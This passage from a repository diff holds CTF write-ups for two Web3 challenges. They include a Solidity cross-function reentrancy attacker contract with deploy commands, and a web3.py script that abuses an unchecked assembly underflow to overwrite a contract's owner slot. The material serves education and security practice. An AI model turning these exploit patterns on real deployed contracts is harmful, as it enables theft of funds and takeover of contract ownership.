From contract storage, extract 4 `keccak256` target hashes, then brute-force:
|
||||
|
||||
```python
|
||||
from web3 import Web3
|
||||
|
||||
targets = [...] # 4 keccak256 hashes from storage
|
||||
|
||||
wordlist = ["onion_alien", "tanaka_alien", "buddha_alien", "boss_alien",
|
||||
"cat_alien", "dog_alien", "fish_alien"]
|
||||
|
||||
for word in wordlist:
|
||||
h = Web3.keccak(text=word).hex()
|
||||
if h in targets:
|
||||
print(f"Found: {word}")
|
||||
```
|
||||
|
||||
| Mission | Points | Proof |
|
||||
|---------|--------|-------|
|
||||
| 0 | 20 | `onion_alien` |
|
||||
| 1 | 25 | `tanaka_alien` |
|
||||
| 2 | 30 | `buddha_alien` |
|
||||
| 3 | 35 | `boss_alien` |
|
||||
|
||||
### Step 4 — Deploy the attacker contract
|
||||
|
||||
```solidity
|
||||
// SPDX-License-Identifier: MIT
|
||||
pragma solidity ^0.8.20;
|
||||
|
||||
interface IGantzBall {
|
||||
function register() external;
|
||||
function claimKill(uint256 missionId, string calldata proof) external;
|
||||
function stakePoints(uint256 amount) external payable;
|
||||
function unstake() external;
|
||||
function claimReward() external;
|
||||
}
|
||||
|
||||
contract GantzExploit {
|
||||
IGantzBall public ball;
|
||||
bool private attacking;
|
||||
|
||||
constructor(address _ball) payable { ball = IGantzBall(_ball); }
|
||||
|
||||
function exploit() external {
|
||||
ball.register();
|
||||
ball.claimKill(0, "onion_alien"); // +20 → 20 pts
|
||||
ball.claimKill(1, "tanaka_alien"); // +25 → 45 pts
|
||||
ball.claimKill(2, "buddha_alien"); // +30 → 75 pts
|
||||
ball.claimKill(3, "boss_alien"); // +35 → 110 pts
|
||||
|
||||
// Stake 100 points: points=10, stakedPoints=100
|
||||
ball.stakePoints{value: 0.1 ether}(100);
|
||||
|
||||
attacking = true;
|
||||
ball.unstake();
|
||||
// In receive(): stakedPoints=100 not yet zeroed → claimReward passes (10+100=110>=100)
|
||||
}
|
||||
|
||||
receive() external payable {
|
||||
if (attacking) {
|
||||
attacking = false;
|
||||
// _stakeLock=1 but _rewardLock=0 → cross-function reentrancy succeeds
|
||||
ball.claimReward();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
forge create GantzExploit \
|
||||
--constructor-args <BALL_ADDR> \
|
||||
--value 0.2ether \
|
||||
--rpc-url http://<HOST>:8545 \
|
||||
--private-key <PLAYER_KEY>
|
||||
|
||||
cast send <EXPLOIT_ADDR> 'exploit()' \
|
||||
--rpc-url http://<HOST>:8545 \
|
||||
--private-key <PLAYER_KEY>
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 5 — Get the flag
|
||||
|
||||
```text
|
||||
nc <host> 1337
|
||||
check
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Key concepts
|
||||
|
||||
- **EVM bytecode reversal**: No source code — recover ABI and logic from raw opcodes
|
||||
- **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function
|
||||
boundaries — a classic vulnerability missed when developers use per-function guards
|
||||
instead of a global reentrancy lock
|
||||
- **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force
|
||||
against known hashes stored in contract storage
|
||||
- **Storage layout**: Dynamic array elements, mappings, and packed slots follow deterministic
|
||||
Solidity storage layout rules
|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`
|
||||
191
Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md
Normal file
@ -0,0 +1,191 @@
|
||||
# TACHIBANA_FIRMWARE_REGISTRY
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | Web3 |
|
||||
| Difficulty | Insane |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
Tachibana Laboratories deployed a smart contract to manage firmware updates for their
|
||||
medical IoT devices connected to the Wired.
|
||||
|
||||
The contract enforces a strict lifecycle: register, update, rollback. Every operation is
|
||||
immutable. Every state transition is audited.
|
||||
|
||||
Or so they thought.
|
||||
|
||||
**Your mission:** Fuzz the contract. Find the edge case. Trigger the emergency override
|
||||
as a non-admin to prove the system is broken.
|
||||
|
||||
- `nc espilon.net 1337` — Challenge console
|
||||
- `http://espilon.net:8545` — Anvil RPC endpoint
|
||||
|
||||
The source is provided. Deploy locally. Fuzz with Foundry or Echidna. Replay your exploit
|
||||
on the live instance.
|
||||
|
||||
*"And you don't seem to understand... a shame, you seemed an honest man."*
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
The `_trimStaleEntries()` function uses raw inline assembly to decrement `firmwareHashes.length`.
|
||||
When the array is empty (length=0), `sub(0, 1)` wraps to `2^256-1` in unchecked assembly even
|
||||
in Solidity ≥0.8. This gives `modifyFirmware()` write access to all `2^256` storage slots.
|
||||
Compute the slot index that maps to storage slot 0 (the `owner` variable). Overwrite it with
|
||||
your address. Call `triggerEmergency()` as the new owner to get the flag.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| Foundry (`forge fuzz`) or Echidna | Find invariant violation |
|
||||
| Python 3 + `web3.py` | Storage index computation and exploit |
|
||||
| `forge create` / `cast send` | On-chain exploit replay |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Step 1 — Understand the vulnerability
|
||||
|
||||
From the provided source, the relevant code is:
|
||||
|
||||
```solidity
|
||||
function auditFirmware() external {
|
||||
assembly {
|
||||
let slot := firmwareHashes.slot
|
||||
let len := sload(slot)
|
||||
sstore(slot, sub(len, 1)) // unchecked sub! 0 - 1 = 2^256 - 1
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
When `firmwareHashes.length == 0`, calling `auditFirmware()` sets the length to `2^256-1`.
|
||||
|
||||
This makes `modifyFirmware(index, value)` able to write to any storage slot via the dynamic
|
||||
array element storage formula.
|
||||
|
||||

|
||||
|
||||
### Step 2 — Fuzz to discover the invariant violation
|
||||
|
||||
Using Foundry fuzz tests:
|
||||
|
||||
```solidity
|
||||
// SPDX-License-Identifier: MIT
|
||||
pragma solidity ^0.8.20;
|
||||
|
||||
import {Test} from "forge-std/Test.sol";
|
||||
import {TachibanaFirmwareRegistry} from "../src/TachibanaFirmwareRegistry.sol";
|
||||
|
||||
contract FirmwareRegistryFuzz is Test {
|
||||
TachibanaFirmwareRegistry registry;
|
||||
address deployer = address(0xDEAD);
|
||||
address player = address(0xBEEF);
|
||||
|
||||
function setUp() public {
|
||||
vm.prank(deployer);
|
||||
registry = new TachibanaFirmwareRegistry();
|
||||
vm.prank(player);
|
||||
registry.registerOperator();
|
||||
}
|
||||
|
||||
// Invariant: only the deployer should ever be owner
|
||||
function invariant_ownerIsDeployer() public view {
|
||||
assertEq(registry.owner(), deployer);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Running `forge test --fuzz-runs 1000` triggers the invariant failure on the
|
||||
`auditFirmware()` + `modifyFirmware(target_index, player_bytes32)` sequence.
|
||||
|
||||

|
||||
|
||||
### Step 3 — Compute the target storage index
|
||||
|
||||
Solidity dynamic arrays store element `i` at `keccak256(abi.encode(slot)) + i`.
|
||||
`firmwareHashes` is at storage slot 2.
|
||||
|
||||
To write to slot 0 (the `owner` variable):
|
||||
|
||||
```python
|
||||
from web3 import Web3
|
||||
|
||||
# Storage base for firmwareHashes (slot 2)
|
||||
array_base = int.from_bytes(
|
||||
Web3.keccak(b'\x00' * 31 + b'\x02'), "big")
|
||||
|
||||
# Compute wraparound index so that: array_base + target_index ≡ 0 (mod 2^256)
|
||||
target_index = (2**256 - array_base) % 2**256
|
||||
print(f"Target index: {target_index}")
|
||||
```
|
||||
|
||||
### Step 4 — Execute the exploit on-chain
|
||||
|
||||
```python
|
||||
from web3 import Web3
|
||||
|
||||
w3 = Web3(Web3.HTTPProvider("http://<HOST>:8545"))
|
||||
priv = "<PLAYER_PRIVATE_KEY>"
|
||||
acct = w3.eth.account.from_key(priv)
|
||||
|
||||
contract_addr = "<CONTRACT_ADDRESS>"
|
||||
# Load ABI from console 'abi' command
|
||||
|
||||
# 1. Register as operator
|
||||
registry = w3.eth.contract(address=contract_addr, abi=abi)
|
||||
tx = registry.functions.registerOperator().build_transaction({...})
|
||||
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
|
||||
|
||||
# 2. Trigger the underflow (array must be empty)
|
||||
tx = registry.functions.auditFirmware().build_transaction({...})
|
||||
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
|
||||
|
||||
# 3. Overwrite owner (slot 0) with player address
|
||||
player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(acct.address[2:])
|
||||
tx = registry.functions.modifyFirmware(
|
||||
target_index, player_as_bytes32).build_transaction({...})
|
||||
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
|
||||
|
||||
# 4. Trigger emergency as new owner
|
||||
tx = registry.functions.triggerEmergency().build_transaction({...})
|
||||
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Step 5 — Get the flag
|
||||
|
||||
```text
|
||||
nc <host> 1337
|
||||
check
|
||||
```
|
||||
|
||||

|
||||
|
||||
### Key concepts
|
||||
|
||||
- **EVM assembly unchecked arithmetic**: `sub(0, 1)` wraps to `2^256-1` inside `assembly {}`
|
||||
blocks even in Solidity ≥0.8, bypassing the checked arithmetic safety net
|
||||
- **Dynamic array storage layout**: Elements stored at `keccak256(abi.encode(slot)) + index`;
|
||||
with a `2^256-1` length, modular wraparound enables arbitrary storage writes
|
||||
- **Fuzzing invariants**: Declaring `invariant_ownerIsDeployer` in Foundry would have caught
|
||||
this immediately — the lesson for secure contract development
|
||||
- **Storage slot arithmetic**: Wraparound index computation requires modular arithmetic over
|
||||
the field `GF(2^256)`
|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`
|
||||
BIN
git-header.png
|
Before Width: | Height: | Size: 7.4 KiB |
BIN
screens/aether_cube_root.png
Normal file
|
After Width: | Height: | Size: 110 KiB |
BIN
screens/aether_mqtt_rsa.png
Normal file
|
After Width: | Height: | Size: 99 KiB |
BIN
screens/aether_notes.png
Normal file
|
After Width: | Height: | Size: 111 KiB |
BIN
screens/aether_sqli.png
Normal file
|
After Width: | Height: | Size: 130 KiB |
BIN
screens/aether_ssh_flag.png
Normal file
|
After Width: | Height: | Size: 93 KiB |
BIN
screens/fw_reg_asm.png
Normal file
|
After Width: | Height: | Size: 111 KiB |
BIN
screens/fw_reg_exploit.png
Normal file
|
After Width: | Height: | Size: 130 KiB |
BIN
screens/fw_reg_flag.png
Normal file
|
After Width: | Height: | Size: 81 KiB |
BIN
screens/fw_reg_fuzz.png
Normal file
|
After Width: | Height: | Size: 112 KiB |
BIN
screens/gantz_bytecode.png
Normal file
|
After Width: | Height: | Size: 81 KiB |
BIN
screens/gantz_decompile.png
Normal file
|
After Width: | Height: | Size: 133 KiB |
BIN
screens/gantz_deploy.png
Normal file
|
After Width: | Height: | Size: 116 KiB |
BIN
screens/gantz_flag.png
Normal file
|
After Width: | Height: | Size: 79 KiB |
BIN
screens/knights_exploit.png
Normal file
|
After Width: | Height: | Size: 124 KiB |
BIN
screens/knights_fragments.png
Normal file
|
After Width: | Height: | Size: 141 KiB |
BIN
screens/knights_scan.png
Normal file
|
After Width: | Height: | Size: 135 KiB |
BIN
screens/lain_decrypt.png
Normal file
|
After Width: | Height: | Size: 112 KiB |
BIN
screens/lain_strings.png
Normal file
|
After Width: | Height: | Size: 95 KiB |
BIN
screens/lain_terminals.png
Normal file
|
After Width: | Height: | Size: 98 KiB |
BIN
screens/lain_xor_key.png
Normal file
|
After Width: | Height: | Size: 108 KiB |
BIN
screens/love_uart_flag.png
Normal file
|
After Width: | Height: | Size: 104 KiB |
BIN
screens/love_uart_terminals.png
Normal file
|
After Width: | Height: | Size: 96 KiB |
BIN
screens/phantom_inject.png
Normal file
|
After Width: | Height: | Size: 126 KiB |
BIN
screens/phantom_trace.png
Normal file
|
After Width: | Height: | Size: 160 KiB |
BIN
screens/phantom_uart.png
Normal file
|
After Width: | Height: | Size: 162 KiB |
BIN
screens/phantom_wire.png
Normal file
|
After Width: | Height: | Size: 169 KiB |
BIN
screens/train_banner.png
Normal file
|
After Width: | Height: | Size: 136 KiB |
BIN
screens/wifi_aircrack.png
Normal file
|
After Width: | Height: | Size: 110 KiB |
BIN
screens/wifi_crack.png
Normal file
|
After Width: | Height: | Size: 24 KiB |
BIN
screens/wifi_flag_rx.png
Normal file
|
After Width: | Height: | Size: 92 KiB |
BIN
screens/wifi_pcap.png
Normal file
|
After Width: | Height: | Size: 83 KiB |
BIN
screens/wifi_terminals.png
Normal file
|
After Width: | Height: | Size: 146 KiB |